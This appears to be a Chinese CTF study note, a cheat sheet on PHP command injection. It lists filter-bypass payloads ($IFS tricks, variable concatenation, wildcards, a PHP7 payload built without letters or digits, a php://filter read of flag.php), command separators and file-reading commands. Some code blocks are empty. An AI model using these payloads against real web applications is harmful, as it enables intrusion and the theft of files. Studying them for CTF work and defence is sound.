命令执行-笔记
php常用命令执行函数
1 |
|
执行时过滤空格
- win:
- %ProgramFiles:~10,1%
- linux:
- $IFS$9
- {cmd,args}(Bash)
- cat<flag.txt
- ${IFS}
- ;IFS=,;
- ${str:0:1} 截取
- url编码
- %09,%0b,%0c,%0a,%0d
黑名单
- 利用变量拼接:
- linux:a=c;b=at;$a$b flag.php or ${}
- 利用通配符:* ?
- 绕过无数字无字母
- php7
- PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
(~%8F%97%8F%96%91%99%90)();
- PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
- shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替
- 我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????
- php7
- 利用已有字符:
- expr substr $(awk NR=1 1.txt) 2 2
截断符号
- $
- ;
- |
- -
- (
- )
- 反引号
- ||
- &&
- &
- }
- {
- %0a 可以当作空格来用;
利用base编码绕过:
- `echo ‘Y2F0Cg==’ | base64 -d` 1.txt
利用php伪协议:
- c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.Base64-encode/resource=flag.php
打印字符常用命令:
- cat 由第一行开始显示内容,并将所有内容输出
- tac 从最后一行倒序显示内容,并将所有内容输出
- more 根据窗口大小,一页一页的现实文件内容
- less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
- head 只显示头几行
- tail 只显示最后几行
- nl 类似于cat -n,显示时输出行号
- tailf 类似于tail -f
- sed sed ‘p’ 1.txt
- sort 它将文件进行排序,并将排序结果标准输出
- uniq 用于报告或忽略文件中的重复行
- rev 将文件中的每行内容以字符为单位反序输出
- cut cut -c1- 1.txt
- awk 文本和数据进行处理的编程语言awk ‘{print}’ flag.php
- strings 在对象文件或二进制文件中查找可打印的字符串
- od 输出文件的八进制、十六进制等格式编码的字节 od -c flag.
- paste paste命令 用于将多个文件按照列队列进行合并。 可以用来读取文件
- diff 比较给定的两个文件的不同 可以读取数据
- curl file:///home/xxx.txt 可以读取文件
- bzmore 查看bzip2压缩过的文本文件的内容
- bzless 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。
管道符号:
- linux:
- “ ; “: 执行完前面的语句在执行后面的语句。
- “ | “: 显示后面的语句的执行结果。
- ” || “:当前的语句执行出错时,执行后面的语句。
- ” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句 可真可假。
- ” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
- win:
- “ | “ :是直接后面的执行语句
- “ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假 才能执行。
- “ & “两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的 语句可真可假。
- “ && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句 为真则两条命令都执行,前面的语句只能为真。
open_basedir 限制
open_basedir 可将用户访问文件的活动范围限制在指定的区域
例如:
open_basedir=/tmp/:/var/www/html 代表当前web可访问的文件路径只能为/tmp/内或者/var/www/html 内的文件可在 php.ini / .user.ini 文件配置
[?] 使用ini_set方式配置待测试。
[?] 是否可以在本地生成一个.user.ini 去替换配置
- 绕过方法:
1 |
|
1 |
|
执行函数禁用
通过读取文件函数
- file_get_contents()
- highlight_file()
- show_source()
- fgets()
- file()
- readfile()
无回显
命令执行-笔记
https://coutcin-xw.github.io/2022/04/23/命令执行-笔记/